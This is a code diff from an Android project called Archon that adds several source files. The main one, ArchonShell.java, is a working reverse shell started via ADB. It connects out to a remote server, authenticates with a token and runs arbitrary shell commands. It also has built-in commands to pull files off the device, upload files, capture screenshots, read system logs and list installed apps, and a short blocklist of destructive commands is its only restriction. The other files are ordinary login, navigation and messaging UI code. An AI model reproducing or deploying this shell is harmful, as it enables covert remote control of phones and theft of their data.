return jsonResponse("", "Execution error: " + e.getMessage(), -1);
}
}
// ── JSON helpers (no library dependencies) ──────────────────────
private static String jsonResponse(String stdout, String stderr, int exitCode) {
return "{\"stdout\":" + jsonEscape(stdout) +
",\"stderr\":" + jsonEscape(stderr) +
",\"exit_code\":" + exitCode + "}";
}
private static String jsonEscape(String s) {
if (s == null) return "\"\"";
StringBuilder sb = new StringBuilder("\"");
for (int i = 0; i < s.length(); i++) {
char c = s.charAt(i);
switch (c) {
case '"': sb.append("\\\""); break;
case '\\': sb.append("\\\\"); break;
case '\b': sb.append("\\b"); break;
case '\f': sb.append("\\f"); break;
case '\n': sb.append("\\n"); break;
case '\r': sb.append("\\r"); break;
case '\t': sb.append("\\t"); break;
default:
if (c < 0x20) {
sb.append(String.format("\\u%04x", (int) c));
} else {
sb.append(c);
}
}
}
sb.append("\"");
return sb.toString();
}
private static String extractJsonString(String json, String key) {
// Pattern: "key":"value" or "key": "value"
String search = "\"" + key + "\"";
int idx = json.indexOf(search);
if (idx < 0) return null;
idx = json.indexOf(':', idx + search.length());
if (idx < 0) return null;
// Skip whitespace
idx++;
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
if (idx >= json.length() || json.charAt(idx) != '"') return null;
idx++; // skip opening quote
StringBuilder sb = new StringBuilder();
while (idx < json.length()) {
char c = json.charAt(idx);
if (c == '\\' && idx + 1 < json.length()) {
char next = json.charAt(idx + 1);
switch (next) {
case '"': sb.append('"'); break;
case '\\': sb.append('\\'); break;
case 'n': sb.append('\n'); break;
case 'r': sb.append('\r'); break;
case 't': sb.append('\t'); break;
default: sb.append(next); break;
}
idx += 2;
} else if (c == '"') {
break;
} else {
sb.append(c);
idx++;
}
}
return sb.toString();
}
private static int extractJsonInt(String json, String key, int defaultVal) {
String search = "\"" + key + "\"";
int idx = json.indexOf(search);
if (idx < 0) return defaultVal;
idx = json.indexOf(':', idx + search.length());
if (idx < 0) return defaultVal;
idx++;
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
StringBuilder sb = new StringBuilder();
while (idx < json.length() && (Character.isDigit(json.charAt(idx)) || json.charAt(idx) == '-')) {
sb.append(json.charAt(idx));
idx++;
}
try {
return Integer.parseInt(sb.toString());
} catch (NumberFormatException e) {
return defaultVal;
}
}
// ── Logging ─────────────────────────────────────────────────────
private static void log(String msg) {
String timestamp = new SimpleDateFormat("HH:mm:ss", Locale.US).format(new Date());
String line = timestamp + " [" + TAG + "] " + msg;
System.out.println(line);
try {
FileWriter fw = new FileWriter(LOG_FILE, true);
fw.write(line + "\n");
fw.close();
} catch (IOException ignored) {
// Can't write log file — not fatal
}
}
}

View File

@@ -0,0 +1,659 @@
package com.darkhal.archon.server;
import java.io.BufferedReader;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.io.PrintWriter;
import java.net.InetSocketAddress;
import java.net.Socket;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.Locale;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
/**
* Archon Reverse Shell — outbound shell connecting back to AUTARCH server.
*
* Runs via app_process at shell (UID 2000) level, same as ArchonServer.
* Instead of LISTENING, this CONNECTS OUT to the AUTARCH server's RevShellListener.
*
* Started via ADB:
* CLASSPATH=/data/app/.../base.apk app_process /system/bin \
* --nice-name=archon_shell com.darkhal.archon.server.ArchonShell \
* <server_ip> <server_port> <auth_token> <timeout_minutes>
*
* Protocol (JSON over TCP, newline-delimited):
* Auth handshake (client → server):
* {"type":"auth","token":"xxx","device":"model","android":"14","uid":2000}
* Server response:
* {"type":"auth_ok"} or {"type":"auth_fail","reason":"..."}
*
* Command (server → client):
* {"type":"cmd","cmd":"pm list packages","timeout":30,"id":"abc123"}
* Response (client → server):
* {"type":"result","id":"abc123","stdout":"...","stderr":"...","exit_code":0}
*
* Special commands (server → client):
* {"type":"cmd","cmd":"__sysinfo__","id":"..."}
* {"type":"cmd","cmd":"__packages__","id":"..."}
* {"type":"cmd","cmd":"__screenshot__","id":"..."}
* {"type":"cmd","cmd":"__download__","id":"...","path":"/sdcard/file.txt"}
* {"type":"cmd","cmd":"__upload__","id":"...","path":"/sdcard/file.txt","data":"base64..."}
* {"type":"cmd","cmd":"__processes__","id":"..."}
* {"type":"cmd","cmd":"__netstat__","id":"..."}
* {"type":"cmd","cmd":"__dumplog__","id":"...","lines":100}
* {"type":"cmd","cmd":"__disconnect__"}
*
* Keepalive (bidirectional):
* {"type":"ping"} → {"type":"pong"}
*/
public class ArchonShell {
private static final String TAG = "ArchonShell";
private static final String LOG_FILE = "/data/local/tmp/archon_shell.log";
private static final int DEFAULT_TIMEOUT = 30;
private static final int CONNECT_TIMEOUT_MS = 10000;
private static final int KEEPALIVE_INTERVAL_MS = 30000;
// Same safety blocklist as ArchonServer
private static final String[] BLOCKED_PATTERNS = {
"rm -rf /",
"rm -rf /*",
"mkfs",
"dd if=/dev/zero",
"reboot",
"shutdown",
"init 0",
"init 6",
"flash_image",
"erase_image",
"format_data",
"> /dev/block",
};
private static String serverIp;
private static int serverPort;
private static String authToken;
private static int timeoutMinutes;
private static final AtomicBoolean running = new AtomicBoolean(true);
private static long startTime;
private static int commandCount = 0;
public static void main(String[] args) {
if (args.length < 4) {
System.err.println("Usage: ArchonShell <server_ip> <server_port> <token> <timeout_minutes>");
System.exit(1);
}
serverIp = args[0];
serverPort = Integer.parseInt(args[1]);
authToken = args[2];
timeoutMinutes = Integer.parseInt(args[3]);
startTime = System.currentTimeMillis();
log("Starting Archon Shell — connecting to " + serverIp + ":" + serverPort);
log("PID: " + android.os.Process.myPid() + " UID: " + android.os.Process.myUid());
log("Timeout: " + timeoutMinutes + " minutes");
// Shutdown hook
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
log("Shutdown hook triggered");
running.set(false);
}));
// Start timeout watchdog
Thread watchdog = new Thread(() -> {
long deadline = startTime + (timeoutMinutes * 60L * 1000L);
while (running.get()) {
if (System.currentTimeMillis() > deadline) {
log("Auto-timeout after " + timeoutMinutes + " minutes");
running.set(false);
break;
}
try { Thread.sleep(5000); } catch (InterruptedException e) { break; }
}
});
watchdog.setDaemon(true);
watchdog.start();
// Connect and run shell loop
Socket socket = null;
try {
socket = new Socket();
socket.connect(new InetSocketAddress(serverIp, serverPort), CONNECT_TIMEOUT_MS);
socket.setSoTimeout(KEEPALIVE_INTERVAL_MS * 2); // Read timeout for keepalive detection
socket.setKeepAlive(true);
log("Connected to " + serverIp + ":" + serverPort);
BufferedReader reader = new BufferedReader(new InputStreamReader(socket.getInputStream()));
PrintWriter writer = new PrintWriter(new OutputStreamWriter(socket.getOutputStream()), true);
// Send auth handshake
if (!authenticate(writer, reader)) {
log("Authentication failed — disconnecting");
System.exit(3);
}
log("Authenticated — entering shell loop");
// Main command loop: read commands from server, execute, return results
shellLoop(reader, writer);
} catch (IOException e) {
log("Connection failed: " + e.getMessage());
System.exit(2);
} finally {
if (socket != null) {
try { socket.close(); } catch (IOException ignored) {}
}
}
log("Shell stopped — " + commandCount + " commands executed");
System.exit(0);
}
private static boolean authenticate(PrintWriter writer, BufferedReader reader) throws IOException {
// Gather device info
String model = getSystemProp("ro.product.model", "unknown");
String androidVer = getSystemProp("ro.build.version.release", "unknown");
int uid = android.os.Process.myUid();
String authMsg = "{\"type\":\"auth\",\"token\":" + jsonEscape(authToken) +
",\"device\":" + jsonEscape(model) +
",\"android\":" + jsonEscape(androidVer) +
",\"uid\":" + uid + "}";
writer.println(authMsg);
writer.flush();
// Wait for auth response
String response = reader.readLine();
if (response == null) return false;
String type = extractJsonString(response, "type");
if ("auth_ok".equals(type)) {
return true;
}
String reason = extractJsonString(response, "reason");
log("Auth rejected: " + (reason != null ? reason : "unknown reason"));
return false;
}
private static void shellLoop(BufferedReader reader, PrintWriter writer) {
while (running.get()) {
try {
String line = reader.readLine();
if (line == null) {
log("Server closed connection");
running.set(false);
break;
}
String type = extractJsonString(line, "type");
if (type == null) continue;
switch (type) {
case "cmd":
handleCommand(line, writer);
break;
case "ping":
writer.println("{\"type\":\"pong\"}");
writer.flush();
break;
case "disconnect":
log("Server requested disconnect");
running.set(false);
break;
default:
log("Unknown message type: " + type);
break;
}
} catch (java.net.SocketTimeoutException e) {
// Send keepalive ping
writer.println("{\"type\":\"ping\"}");
writer.flush();
} catch (IOException e) {
log("Connection error: " + e.getMessage());
running.set(false);
break;
}
}
}
private static void handleCommand(String json, PrintWriter writer) {
String cmd = extractJsonString(json, "cmd");
String id = extractJsonString(json, "id");
int timeout = extractJsonInt(json, "timeout", DEFAULT_TIMEOUT);
if (cmd == null || cmd.isEmpty()) {
sendResult(writer, id, "", "No command specified", -1);
return;
}
commandCount++;
log("CMD[" + commandCount + "] " + (cmd.length() > 80 ? cmd.substring(0, 80) + "..." : cmd));
// Handle special commands
switch (cmd) {
case "__sysinfo__":
handleSysinfo(writer, id);
return;
case "__packages__":
handlePackages(writer, id);
return;
case "__screenshot__":
handleScreenshot(writer, id);
return;
case "__processes__":
handleProcesses(writer, id);
return;
case "__netstat__":
handleNetstat(writer, id);
return;
case "__dumplog__":
int lines = extractJsonInt(json, "lines", 100);
handleDumplog(writer, id, lines);
return;
case "__download__":
String dlPath = extractJsonString(json, "path");
handleDownload(writer, id, dlPath);
return;
case "__upload__":
String ulPath = extractJsonString(json, "path");
String ulData = extractJsonString(json, "data");
handleUpload(writer, id, ulPath, ulData);
return;
case "__disconnect__":
log("Disconnect command received");
running.set(false);
sendResult(writer, id, "Disconnecting", "", 0);
return;
}
// Safety check
if (isBlocked(cmd)) {
log("BLOCKED dangerous command: " + cmd);
sendResult(writer, id, "", "Command blocked by safety filter", -1);
return;
}
// Execute regular shell command
String response = executeCommand(cmd, timeout);
writer.println(addId(response, id));
writer.flush();
}
// ── Special command handlers ────────────────────────────────────
private static void handleSysinfo(PrintWriter writer, String id) {
StringBuilder info = new StringBuilder();
info.append("Device: ").append(getSystemProp("ro.product.model", "?")).append("\n");
info.append("Manufacturer: ").append(getSystemProp("ro.product.manufacturer", "?")).append("\n");
info.append("Android: ").append(getSystemProp("ro.build.version.release", "?")).append("\n");
info.append("SDK: ").append(getSystemProp("ro.build.version.sdk", "?")).append("\n");
info.append("Build: ").append(getSystemProp("ro.build.display.id", "?")).append("\n");
info.append("Kernel: ").append(getSystemProp("ro.build.kernel.id", "?")).append("\n");
info.append("SELinux: ").append(readFile("/sys/fs/selinux/enforce", "?")).append("\n");
info.append("UID: ").append(android.os.Process.myUid()).append("\n");
info.append("PID: ").append(android.os.Process.myPid()).append("\n");
info.append("Uptime: ").append((System.currentTimeMillis() - startTime) / 1000).append("s\n");
info.append("Commands: ").append(commandCount).append("\n");
// Disk usage
String df = quickExec("df -h /data 2>/dev/null | tail -1", 5);
if (df != null && !df.isEmpty()) info.append("Disk: ").append(df.trim()).append("\n");
// Memory
String mem = quickExec("cat /proc/meminfo | head -3", 5);
if (mem != null) info.append(mem);
sendResult(writer, id, info.toString(), "", 0);
}
private static void handlePackages(PrintWriter writer, String id) {
String result = quickExec("pm list packages -f 2>/dev/null", 30);
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
}
private static void handleScreenshot(PrintWriter writer, String id) {
// Capture screenshot to temp file, then base64 encode
String tmpFile = "/data/local/tmp/archon_screenshot.png";
String captureResult = quickExec("screencap -p " + tmpFile + " 2>&1", 10);
if (captureResult == null || new File(tmpFile).length() == 0) {
sendResult(writer, id, "", "Screenshot failed: " + (captureResult != null ? captureResult : "unknown"), -1);
return;
}
// Base64 encode — read in chunks to avoid memory issues
String b64 = quickExec("base64 " + tmpFile + " | tr -d '\\n'", 30);
quickExec("rm " + tmpFile, 5);
if (b64 != null && !b64.isEmpty()) {
sendResult(writer, id, b64, "", 0);
} else {
sendResult(writer, id, "", "Failed to encode screenshot", -1);
}
}
private static void handleProcesses(PrintWriter writer, String id) {
String result = quickExec("ps -A -o PID,UID,STAT,NAME 2>/dev/null || ps -A 2>/dev/null", 10);
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
}
private static void handleNetstat(PrintWriter writer, String id) {
StringBuilder sb = new StringBuilder();
String tcp = quickExec("cat /proc/net/tcp 2>/dev/null", 5);
if (tcp != null) { sb.append("=== TCP ===\n").append(tcp).append("\n"); }
String tcp6 = quickExec("cat /proc/net/tcp6 2>/dev/null", 5);
if (tcp6 != null) { sb.append("=== TCP6 ===\n").append(tcp6).append("\n"); }
String udp = quickExec("cat /proc/net/udp 2>/dev/null", 5);
if (udp != null) { sb.append("=== UDP ===\n").append(udp).append("\n"); }
sendResult(writer, id, sb.toString(), "", 0);
}
private static void handleDumplog(PrintWriter writer, String id, int lines) {
String result = quickExec("logcat -d -t " + Math.min(lines, 5000) + " 2>/dev/null", 15);
sendResult(writer, id, result != null ? result : "", result == null ? "Failed" : "", result != null ? 0 : -1);
}
private static void handleDownload(PrintWriter writer, String id, String path) {
if (path == null || path.isEmpty()) {
sendResult(writer, id, "", "No path specified", -1);
return;
}
File file = new File(path);
if (!file.exists()) {
sendResult(writer, id, "", "File not found: " + path, -1);
return;
}
if (file.length() > 50 * 1024 * 1024) { // 50MB limit
sendResult(writer, id, "", "File too large (>50MB): " + file.length(), -1);
return;
}
String b64 = quickExec("base64 '" + path.replace("'", "'\\''") + "' | tr -d '\\n'", 60);
if (b64 != null && !b64.isEmpty()) {
// Send with metadata
String meta = "{\"type\":\"result\",\"id\":" + jsonEscape(id != null ? id : "") +
",\"stdout\":" + jsonEscape(b64) +
",\"stderr\":\"\",\"exit_code\":0" +
",\"filename\":" + jsonEscape(file.getName()) +
",\"size\":" + file.length() + "}";
writer.println(meta);
writer.flush();
} else {
sendResult(writer, id, "", "Failed to read file", -1);
}
}
private static void handleUpload(PrintWriter writer, String id, String path, String data) {
if (path == null || path.isEmpty()) {
sendResult(writer, id, "", "No path specified", -1);
return;
}
if (data == null || data.isEmpty()) {
sendResult(writer, id, "", "No data specified", -1);
return;
}
// Write base64 data to temp file, then decode to destination
String tmpFile = "/data/local/tmp/archon_upload_tmp";
try {
FileWriter fw = new FileWriter(tmpFile);
fw.write(data);
fw.close();
String result = quickExec("base64 -d " + tmpFile + " > '" + path.replace("'", "'\\''") + "' 2>&1", 30);
quickExec("rm " + tmpFile, 5);
File dest = new File(path);
if (dest.exists()) {
sendResult(writer, id, "Uploaded " + dest.length() + " bytes to " + path, "", 0);
} else {
sendResult(writer, id, "", "Upload failed: " + (result != null ? result : "unknown"), -1);
}
} catch (IOException e) {
sendResult(writer, id, "", "Upload error: " + e.getMessage(), -1);
}
}
// ── Command execution ──────────────────────────────────────────
private static boolean isBlocked(String cmd) {
String lower = cmd.toLowerCase(Locale.ROOT).trim();
for (String pattern : BLOCKED_PATTERNS) {
if (lower.contains(pattern.toLowerCase(Locale.ROOT))) {
return true;
}
}
return false;
}
private static String executeCommand(String cmd, int timeoutSec) {
try {
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
pb.redirectErrorStream(false);
Process process = pb.start();
StringBuilder stdout = new StringBuilder();
StringBuilder stderr = new StringBuilder();
Thread stdoutThread = new Thread(() -> {
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = br.readLine()) != null) {
if (stdout.length() > 0) stdout.append("\n");
stdout.append(line);
}
} catch (IOException ignored) {}
});
Thread stderrThread = new Thread(() -> {
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getErrorStream()))) {
String line;
while ((line = br.readLine()) != null) {
if (stderr.length() > 0) stderr.append("\n");
stderr.append(line);
}
} catch (IOException ignored) {}
});
stdoutThread.start();
stderrThread.start();
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
if (!completed) {
process.destroyForcibly();
stdoutThread.join(1000);
stderrThread.join(1000);
return jsonResult(stdout.toString(), "Command timed out after " + timeoutSec + "s", -1);
}
stdoutThread.join(5000);
stderrThread.join(5000);
return jsonResult(stdout.toString(), stderr.toString(), process.exitValue());
} catch (Exception e) {
return jsonResult("", "Execution error: " + e.getMessage(), -1);
}
}
/** Quick exec for internal use — returns stdout or null on failure. */
private static String quickExec(String cmd, int timeoutSec) {
try {
ProcessBuilder pb = new ProcessBuilder("sh", "-c", cmd);
pb.redirectErrorStream(true);
Process process = pb.start();
StringBuilder output = new StringBuilder();
Thread reader = new Thread(() -> {
try (BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = br.readLine()) != null) {
if (output.length() > 0) output.append("\n");
output.append(line);
}
} catch (IOException ignored) {}
});
reader.start();
boolean completed = process.waitFor(timeoutSec, TimeUnit.SECONDS);
if (!completed) {
process.destroyForcibly();
}
reader.join(2000);
return output.toString();
} catch (Exception e) {
return null;
}
}
private static String getSystemProp(String key, String defaultVal) {
String result = quickExec("getprop " + key, 5);
return (result != null && !result.isEmpty()) ? result.trim() : defaultVal;
}
private static String readFile(String path, String defaultVal) {
String result = quickExec("cat " + path + " 2>/dev/null", 5);
return (result != null && !result.isEmpty()) ? result.trim() : defaultVal;
}
// ── JSON helpers ───────────────────────────────────────────────
private static void sendResult(PrintWriter writer, String id, String stdout, String stderr, int exitCode) {
String msg = "{\"type\":\"result\",\"id\":" + jsonEscape(id != null ? id : "") +
",\"stdout\":" + jsonEscape(stdout) +
",\"stderr\":" + jsonEscape(stderr) +
",\"exit_code\":" + exitCode + "}";
writer.println(msg);
writer.flush();
}
private static String jsonResult(String stdout, String stderr, int exitCode) {
return "{\"type\":\"result\",\"stdout\":" + jsonEscape(stdout) +
",\"stderr\":" + jsonEscape(stderr) +
",\"exit_code\":" + exitCode + "}";
}
private static String addId(String jsonResult, String id) {
if (id == null || id.isEmpty()) return jsonResult;
// Insert id field after opening brace
return "{\"type\":\"result\",\"id\":" + jsonEscape(id) + "," + jsonResult.substring(1);
}
private static String jsonEscape(String s) {
if (s == null) return "\"\"";
StringBuilder sb = new StringBuilder("\"");
for (int i = 0; i < s.length(); i++) {
char c = s.charAt(i);
switch (c) {
case '"': sb.append("\\\""); break;
case '\\': sb.append("\\\\"); break;
case '\b': sb.append("\\b"); break;
case '\f': sb.append("\\f"); break;
case '\n': sb.append("\\n"); break;
case '\r': sb.append("\\r"); break;
case '\t': sb.append("\\t"); break;
default:
if (c < 0x20) {
sb.append(String.format("\\u%04x", (int) c));
} else {
sb.append(c);
}
}
}
sb.append("\"");
return sb.toString();
}
private static String extractJsonString(String json, String key) {
String search = "\"" + key + "\"";
int idx = json.indexOf(search);
if (idx < 0) return null;
idx = json.indexOf(':', idx + search.length());
if (idx < 0) return null;
idx++;
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
if (idx >= json.length() || json.charAt(idx) != '"') return null;
idx++;
StringBuilder sb = new StringBuilder();
while (idx < json.length()) {
char c = json.charAt(idx);
if (c == '\\' && idx + 1 < json.length()) {
char next = json.charAt(idx + 1);
switch (next) {
case '"': sb.append('"'); break;
case '\\': sb.append('\\'); break;
case 'n': sb.append('\n'); break;
case 'r': sb.append('\r'); break;
case 't': sb.append('\t'); break;
default: sb.append(next); break;
}
idx += 2;
} else if (c == '"') {
break;
} else {
sb.append(c);
idx++;
}
}
return sb.toString();
}
private static int extractJsonInt(String json, String key, int defaultVal) {
String search = "\"" + key + "\"";
int idx = json.indexOf(search);
if (idx < 0) return defaultVal;
idx = json.indexOf(':', idx + search.length());
if (idx < 0) return defaultVal;
idx++;
while (idx < json.length() && json.charAt(idx) == ' ') idx++;
StringBuilder sb = new StringBuilder();
while (idx < json.length() && (Character.isDigit(json.charAt(idx)) || json.charAt(idx) == '-')) {
sb.append(json.charAt(idx));
idx++;
}
try {
return Integer.parseInt(sb.toString());
} catch (NumberFormatException e) {
return defaultVal;
}
}
// ── Logging ────────────────────────────────────────────────────
private static void log(String msg) {
String timestamp = new SimpleDateFormat("HH:mm:ss", Locale.US).format(new Date());
String line = timestamp + " [" + TAG + "] " + msg;
System.out.println(line);
try {
FileWriter fw = new FileWriter(LOG_FILE, true);
fw.write(line + "\n");
fw.close();
} catch (IOException ignored) {}
}
}

View File

@@ -0,0 +1,151 @@
package com.darkhal.archon
import android.content.Intent
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.widget.TextView
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import com.darkhal.archon.service.DiscoveryManager
import com.darkhal.archon.util.AuthManager
import com.darkhal.archon.util.PrefsManager
import com.google.android.material.button.MaterialButton
import com.google.android.material.textfield.TextInputEditText
class LoginActivity : AppCompatActivity() {
private lateinit var inputServerIp: TextInputEditText
private lateinit var inputPort: TextInputEditText
private lateinit var inputUsername: TextInputEditText
private lateinit var inputPassword: TextInputEditText
private lateinit var statusText: TextView
private lateinit var btnLogin: MaterialButton
private val handler = Handler(Looper.getMainLooper())
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
// If already logged in, skip to main
if (AuthManager.isLoggedIn(this)) {
// Quick session check in background, but go to main immediately
startMain()
return
}
setContentView(R.layout.activity_login)
inputServerIp = findViewById(R.id.input_login_server_ip)
inputPort = findViewById(R.id.input_login_port)
inputUsername = findViewById(R.id.input_login_username)
inputPassword = findViewById(R.id.input_login_password)
statusText = findViewById(R.id.login_status)
btnLogin = findViewById(R.id.btn_login)
// Pre-fill from saved settings
val savedIp = PrefsManager.getServerIp(this)
if (savedIp.isNotEmpty()) {
inputServerIp.setText(savedIp)
}
inputPort.setText(PrefsManager.getWebPort(this).toString())
val savedUser = AuthManager.getUsername(this)
if (savedUser.isNotEmpty()) {
inputUsername.setText(savedUser)
}
btnLogin.setOnClickListener { doLogin() }
findViewById<MaterialButton>(R.id.btn_login_detect).setOnClickListener {
autoDetect(it as MaterialButton)
}
findViewById<MaterialButton>(R.id.btn_login_skip).setOnClickListener {
startMain()
}
}
private fun doLogin() {
val serverIp = inputServerIp.text.toString().trim()
val port = inputPort.text.toString().trim().toIntOrNull() ?: 8181
val username = inputUsername.text.toString().trim()
val password = inputPassword.text.toString().trim()
if (serverIp.isEmpty()) {
statusText.text = "Enter server IP or tap AUTO-DETECT"
return
}
if (username.isEmpty() || password.isEmpty()) {
statusText.text = "Enter username and password"
return
}
// Save server settings
PrefsManager.setServerIp(this, serverIp)
PrefsManager.setWebPort(this, port)
btnLogin.isEnabled = false
btnLogin.text = "LOGGING IN..."
statusText.text = "Connecting to $serverIp:$port..."
Thread {
val result = AuthManager.login(this@LoginActivity, username, password)
handler.post {
btnLogin.isEnabled = true
btnLogin.text = "LOGIN"
if (result.success) {
Toast.makeText(this@LoginActivity, "Logged in", Toast.LENGTH_SHORT).show()
startMain()
} else {
statusText.text = result.message
}
}
}.start()
}
private fun autoDetect(btn: MaterialButton) {
btn.isEnabled = false
btn.text = "SCANNING..."
statusText.text = "Scanning for AUTARCH server..."
val discovery = DiscoveryManager(this)
discovery.listener = object : DiscoveryManager.Listener {
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
discovery.stopDiscovery()
handler.post {
if (server.ip.isNotEmpty()) {
inputServerIp.setText(server.ip)
}
if (server.port > 0) {
inputPort.setText(server.port.toString())
}
statusText.text = "Found ${server.hostname} at ${server.ip}:${server.port}"
btn.isEnabled = true
btn.text = "AUTO-DETECT"
}
}
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {}
override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
handler.post {
if (discovery.getDiscoveredServers().isEmpty()) {
statusText.text = "No AUTARCH server found on network"
}
btn.isEnabled = true
btn.text = "AUTO-DETECT"
}
}
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {}
}
discovery.startDiscovery()
}
private fun startMain() {
startActivity(Intent(this, MainActivity::class.java))
finish()
}
}

View File

@@ -0,0 +1,30 @@
package com.darkhal.archon
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
import androidx.navigation.fragment.NavHostFragment
import androidx.navigation.ui.setupWithNavController
import com.darkhal.archon.messaging.MessagingModule
import com.darkhal.archon.module.ModuleManager
import com.google.android.material.bottomnavigation.BottomNavigationView
class MainActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
// Initialize module registry
ModuleManager.init()
// Register SMS/RCS messaging module
ModuleManager.register(MessagingModule())
val navHostFragment = supportFragmentManager
.findFragmentById(R.id.nav_host_fragment) as NavHostFragment
val navController = navHostFragment.navController
val bottomNav = findViewById<BottomNavigationView>(R.id.bottom_nav)
bottomNav.setupWithNavController(navController)
}
}

View File

@@ -0,0 +1,283 @@
package com.darkhal.archon.messaging
import android.graphics.Color
import android.graphics.drawable.GradientDrawable
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import androidx.recyclerview.widget.RecyclerView
import com.darkhal.archon.R
import java.text.SimpleDateFormat
import java.util.Calendar
import java.util.Date
import java.util.Locale
import java.util.concurrent.TimeUnit
/**
* RecyclerView adapter for the conversation list view.
* Shows each conversation with contact avatar, name/number, snippet, date, and unread badge.
*/
class ConversationAdapter(
private val conversations: MutableList<MessagingRepository.Conversation>,
private val onClick: (MessagingRepository.Conversation) -> Unit
) : RecyclerView.Adapter<ConversationAdapter.ViewHolder>() {
inner class ViewHolder(itemView: View) : RecyclerView.ViewHolder(itemView) {
val avatarText: TextView = itemView.findViewById(R.id.avatar_text)
val avatarBg: View = itemView.findViewById(R.id.avatar_bg)
val contactName: TextView = itemView.findViewById(R.id.contact_name)
val snippet: TextView = itemView.findViewById(R.id.message_snippet)
val dateText: TextView = itemView.findViewById(R.id.conversation_date)
val unreadBadge: TextView = itemView.findViewById(R.id.unread_badge)
init {
itemView.setOnClickListener {
val pos = adapterPosition
if (pos != RecyclerView.NO_POSITION) {
onClick(conversations[pos])
}
}
}
}
override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): ViewHolder {
val view = LayoutInflater.from(parent.context)
.inflate(R.layout.item_conversation, parent, false)
return ViewHolder(view)
}
override fun onBindViewHolder(holder: ViewHolder, position: Int) {
val conv = conversations[position]
// Avatar — first letter of contact name or number
val displayName = conv.contactName ?: conv.address
val initial = displayName.firstOrNull()?.uppercase() ?: "#"
holder.avatarText.text = initial
// Avatar background color — deterministic based on address
val avatarDrawable = GradientDrawable()
avatarDrawable.shape = GradientDrawable.OVAL
avatarDrawable.setColor(getAvatarColor(conv.address))
holder.avatarBg.background = avatarDrawable
// Contact name / phone number
holder.contactName.text = displayName
// Snippet (most recent message)
holder.snippet.text = conv.snippet
// Date
holder.dateText.text = formatConversationDate(conv.date)
// Unread badge
if (conv.unreadCount > 0) {
holder.unreadBadge.visibility = View.VISIBLE
holder.unreadBadge.text = if (conv.unreadCount > 99) "99+" else conv.unreadCount.toString()
} else {
holder.unreadBadge.visibility = View.GONE
}
}
override fun getItemCount(): Int = conversations.size
fun updateData(newConversations: List<MessagingRepository.Conversation>) {
conversations.clear()
conversations.addAll(newConversations)
notifyDataSetChanged()
}
/**
* Format date for conversation list display.
* Today: show time (3:45 PM), This week: show day (Mon), Older: show date (12/25).
*/
private fun formatConversationDate(timestamp: Long): String {
if (timestamp <= 0) return ""
val now = System.currentTimeMillis()
val diff = now - timestamp
val date = Date(timestamp)
val today = Calendar.getInstance()
today.set(Calendar.HOUR_OF_DAY, 0)
today.set(Calendar.MINUTE, 0)
today.set(Calendar.SECOND, 0)
today.set(Calendar.MILLISECOND, 0)
return when {
timestamp >= today.timeInMillis -> {
// Today — show time
SimpleDateFormat("h:mm a", Locale.US).format(date)
}
diff < TimeUnit.DAYS.toMillis(7) -> {
// This week — show day name
SimpleDateFormat("EEE", Locale.US).format(date)
}
diff < TimeUnit.DAYS.toMillis(365) -> {
// This year — show month/day
SimpleDateFormat("MMM d", Locale.US).format(date)
}
else -> {
// Older — show full date
SimpleDateFormat("M/d/yy", Locale.US).format(date)
}
}
}
/**
* Generate a deterministic color for a contact's avatar based on their address.
*/
private fun getAvatarColor(address: String): Int {
val colors = intArrayOf(
Color.parseColor("#E91E63"), // Pink
Color.parseColor("#9C27B0"), // Purple
Color.parseColor("#673AB7"), // Deep Purple
Color.parseColor("#3F51B5"), // Indigo
Color.parseColor("#2196F3"), // Blue
Color.parseColor("#009688"), // Teal
Color.parseColor("#4CAF50"), // Green
Color.parseColor("#FF9800"), // Orange
Color.parseColor("#795548"), // Brown
Color.parseColor("#607D8B"), // Blue Grey
)
val hash = address.hashCode().let { if (it < 0) -it else it }
return colors[hash % colors.size]
}
}
/**
* RecyclerView adapter for the message thread view.
* Shows messages as chat bubbles — sent aligned right (accent), received aligned left (gray).
*/
class MessageAdapter(
private val messages: MutableList<MessagingRepository.Message>,
private val onLongClick: (MessagingRepository.Message) -> Unit
) : RecyclerView.Adapter<MessageAdapter.ViewHolder>() {
companion object {
private const val VIEW_TYPE_SENT = 0
private const val VIEW_TYPE_RECEIVED = 1
}
inner class ViewHolder(itemView: View) : RecyclerView.ViewHolder(itemView) {
val bubbleBody: TextView = itemView.findViewById(R.id.bubble_body)
val bubbleTime: TextView = itemView.findViewById(R.id.bubble_time)
val bubbleStatus: TextView? = itemView.findViewOrNull(R.id.bubble_status)
val rcsIndicator: TextView? = itemView.findViewOrNull(R.id.rcs_indicator)
init {
itemView.setOnLongClickListener {
val pos = adapterPosition
if (pos != RecyclerView.NO_POSITION) {
onLongClick(messages[pos])
}
true
}
}
}
override fun getItemViewType(position: Int): Int {
val msg = messages[position]
return when (msg.type) {
MessagingRepository.MESSAGE_TYPE_SENT,
MessagingRepository.MESSAGE_TYPE_OUTBOX,
MessagingRepository.MESSAGE_TYPE_QUEUED,
